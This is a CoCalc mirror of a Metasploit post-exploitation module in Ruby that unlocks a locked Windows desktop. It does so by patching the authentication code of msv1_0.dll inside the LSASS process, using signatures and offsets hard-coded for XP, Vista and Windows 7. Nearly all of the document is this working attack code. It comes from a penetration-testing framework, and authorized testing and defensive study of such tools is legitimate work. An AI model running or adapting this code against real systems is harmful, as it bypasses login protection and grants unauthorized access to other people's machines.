CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/escalate/screen_unlock.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasm'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Windows::Version
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Escalate Locked Desktop Unlocker',
16
'Description' => %q{
17
This module unlocks a locked Windows desktop by patching
18
the respective code inside the LSASS.exe process. This
19
patching process can result in the target system hanging or
20
even rebooting, so be careful when using this module on
21
production systems.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'L4teral <l4teral[4t]gmail com>', # Meterpreter script
26
'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16
27
],
28
'Platform' => [ 'win' ],
29
'SessionTypes' => [ 'meterpreter' ],
30
'Compat' => {
31
'Meterpreter' => {
32
'Commands' => %w[
33
stdapi_sys_process_attach
34
stdapi_sys_process_memory_read
35
stdapi_sys_process_memory_write
36
]
37
}
38
}
39
)
40
)
41
42
register_options([
43
OptBool.new('REVERT', [false, 'Enable this option to revert the in-memory patch and enable locking again', false])
44
])
45
end
46
47
def unsupported
48
print_error('This platform is not supported with this Script!')
49
raise Rex::Script::Completed
50
end
51
52
def run
53
revert = datastore['REVERT']
54
55
targets = [
56
{ sig: '8bff558bec83ec50a1', sigoffset: 0x9927, orig_code: '32c0', patch: 'b001', patchoffset: 0x99cc, os_start: Msf::WindowsVersion::XP_SP2, os_end: Msf::WindowsVersion::XP_SP2 },
57
{ sig: '8bff558bec83ec50a1', sigoffset: 0x981b, orig_code: '32c0', patch: 'b001', patchoffset: 0x98c0, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 },
58
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb76a, orig_code: '32c0', patch: 'b001', patchoffset: 0xb827, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },
59
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb391, orig_code: '32c0', patch: 'b001', patchoffset: 0xb44e, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },
60
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xacf6, orig_code: '32c0', patch: 'b001', patchoffset: 0xadb3, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },
61
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xe881, orig_code: '32c0', patch: 'b001', patchoffset: 0xe93e, os_start: Msf::WindowsVersion::Win7_SP0, os_end: Msf::WindowsVersion::Win7_SP1 },
62
{ sig: '8bff558bec83ec50a1', sigoffset: 0x97d3, orig_code: '32c0', patch: 'b001', patchoffset: 0x9878, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 } # Spanish
63
]
64
65
unsupported if client.platform != 'windows' || (client.arch != ARCH_X64 && client.arch != ARCH_X86)
66
version = get_version_info
67
68
targets.each do |t|
69
next unless version.build_number.between?(t[:os_start], t[:os_end]) && !version.windows_server?
70
71
target = t
72
print_status("OS '#{version.product_name}' found in known targets")
73
pid = client.sys.process['lsass.exe']
74
p = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
75
dllbase = p.image['msv1_0.dll']
76
77
sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack('H*')[0]
78
if sig != target[:sig]
79
print_error('Found signature does not match')
80
next
81
end
82
old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack('H*')[0]
83
if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert))
84
print_error('Found code does not match')
85
next
86
end
87
88
print_status('Patching...')
89
new_code = revert ? target[:orig_code] : target[:patch]
90
p.memory.write(dllbase + target[:patchoffset], [new_code].pack('H*'))
91
92
written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack('H*')[0]
93
if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert))
94
print_status('Done!')
95
raise Rex::Script::Completed
96
else
97
print_error('Failed!')
98
next
99
end
100
end
101
102
print_error('No working target found')
103
end
104
end
105
106